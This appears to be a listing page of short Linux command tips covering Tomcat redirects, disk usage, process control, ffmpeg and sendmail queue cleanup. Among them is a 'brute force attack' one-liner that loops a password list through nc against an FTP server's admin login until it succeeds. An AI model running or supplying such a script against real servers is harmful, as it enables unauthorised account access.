Linux
Tomcat redirect pages
If you want to move all the pages in a particular folder to other domain
example
http://example.com/floder/filename?parameters to
http://newexample.com/floder/filename?parameters
Then to the following changes in your code
Step 1:
changes your web.xml :
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
<display-name>Forum Moving </display-name>
<servlet>
<servlet-name>redirect.jsp </servlet-name>
<jsp-file>/redirect.jsp </jsp-file>
</servlet>
<servlet-mapping>
<servlet-name>redirect.jsp </servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>
</web-app>
Here I'm redirecting all the request in that webapplication to "redirect.jsp"
Setp 2:
Create ..
Find biggest file
How will you find a huge file on your system
du -s * | sort -nr | head
The above command will make you to identify the huge file. ..
Change the argument of last command
/usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.google.com/
then
!:- http://www.w3calculator.com/
is the same as
/usr/sbin/ab2 -f TLS1 -S -n 1000 -c 100 -t 2 http://www.w3calculator.com/
!:-
will Insert the last command without the last argument (bash).
..
What processes are playing sound
When trying to play a sound you may sometimes get an error saying that your sound card is already used, but not by what process.
lsof | grep pcm
This will list all processes playing sound, useful to kill processes that you no longer need but that keep using your ..
BF - brute force attack
cat list|while read lines;do echo "USER admin">ftp;echo "PASS $lines">>ftp;echo "QUIT">>ftp;nc 192.168.88.28 21 ftp2;echo "trying: $lines";cat ftp2|grep "230">/dev/null;[ "$?" -eq "0" ]&& echo "pass: $lines" && break;done
..
Kill a process
how to kill a process by name using single command
pkill -x firefox
killall firefox
The above command will kill the process by name. ..
Changing permission for all .svn folders
How to recursively execute a command to change permission for all svn folders or directories?
find . -type d -name .svn -exec chmod g+s "{}" \;
The above command will set the GID bit on all directories named .svn in the current directory recursively. This makes the group ownership of all .svn ..
Detect ip address of an iPhone
Find ip address of iPhone
ipconfig getifaddr en0
Finds the ip address of your iphone/ipod touch from the command line. Requires a jailbroken device and mobileterminal application/ssh login.
The above command will get you the ipaddress of your iphone or ipod.
..
Converting all video files to 3gp files
Converting video file (.flv, .avi etc.) to .3gp
ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar 22050 output.3gp
ffmpeg
-i = input file name
-s = set frame size, qcif=176x144
-vcodec = force video codec
-r = frame-rate [default = 25]
-b = bit-rate [200 kb/s]
-acodec ..
Sendmail tutorial
Sendmail Tips
This is a quick document on how to get yourself out of some binds I've run into with sendmail. These aren't going to be the most organized, but I figure someone else may find these useful.
Mail Spool
Sendmail generally stores its ..
Remove or delete mails from mail queue
sendmail -q -v
If you run into a command list too long for rm, try:
# ls /var/spool/mqueue | xargs rm
That will break up the file list into more managable bites for rm.
Easy and fastest way to delete mails from sendmail queue
find /var/spool/mqueue -name "*fn*" -delete
..
Remove zero file size from a directory
To find every file with a size of 0 and execute the remove command on the found files.
# find . -size 0 -exec rm {} \;
..
Delete mails from send mail
Here's how to remove sendmail from your system.
1. Find sendmail in your boot scripts. It's usually in either /etc/rc or
/etc/init.d/sendmail. It looks like
# sendmail -bd -q15m
-q15m means that it should run the queue every 15 minutes; you may
see ..
Ports service to PC
Ports are like doors for a special service to a server or PC.
They rank from 0 to 65535. The standard ports are from 0 to 1024, these are the well known ports. The official list you can get under http://www.iana.org/assignments/port-numbers and a description on http://en.wikipedia.org/wiki/Port_(computing). If a censor ..
Lock hardware eject button
Lock the hardware eject button of the cdrom
eject -i 1
This command will lock the hardware eject button of your cdrom drive. Some users are:
1) If you have a toddler and has discovered the cdrom button
2) If you are carrying a laptop in a bag or case and don't ..